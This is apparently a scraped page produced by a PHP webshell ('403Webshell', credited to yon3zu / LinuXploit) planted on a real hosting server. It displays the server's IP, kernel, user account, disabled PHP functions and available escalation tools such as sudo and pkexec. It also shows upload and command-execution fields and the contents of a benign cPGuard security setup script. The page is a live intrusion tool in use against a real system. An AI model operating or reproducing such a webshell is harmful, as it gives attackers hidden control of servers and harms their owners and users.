403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/cpguard/app/setup/cpguard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpguard/app/setup/cpguard/profile.php
<?php
require_once '/opt/cpguard/app/vendor/autoload.php';


//Select the best profile for cPGuard based on control panel
//Check if a supported control panel is installed


$panel = detect_panel();

if (is_dir("/opt/cpguard/app/server/$panel")) {

    exec("cd /opt/cpguard/app/server; /bin/ln -s $panel/Panel.php Panel.php");

    if (file_exists("/opt/cpguard/app/server/$panel/Waf.php")) {
        exec("cd /opt/cpguard/app/server; /bin/ln -s $panel/Waf.php Waf.php");
    } else {
        exec("cd /opt/cpguard/app/server; /bin/ln -s standalone/Waf.php Waf.php");

        echo "\n\e[33mAdditional information is required to configure WAF rules on this server.\nYou can provide the information now or update it later via the UI\e[0m\n\n";
        $cli = new cPGuard\Cli\StandAlone(true);
        $cli->wafWizard(true);

    }

    if (file_exists("/opt/cpguard/app/server/$panel/setup.php")) {
        include_once "/opt/cpguard/app/server/$panel/setup.php";
    }

} else {

    $panel = 'standalone';
    //If no supported control panel is installed, use standalone profile
    echo "\n\e[33mNo supported control panel was found. Using standalone profile.\e[0m\n\n";

    exec("cd /opt/cpguard/app/server; /bin/ln -s standalone/Panel.php Panel.php");
    exec("cd /opt/cpguard/app/server; /bin/ln -s standalone/Waf.php Waf.php");

    include_once ROOT . '/setup/standalone.php';

}

Youez - 2016 - github.com/yon3zu
LinuXploit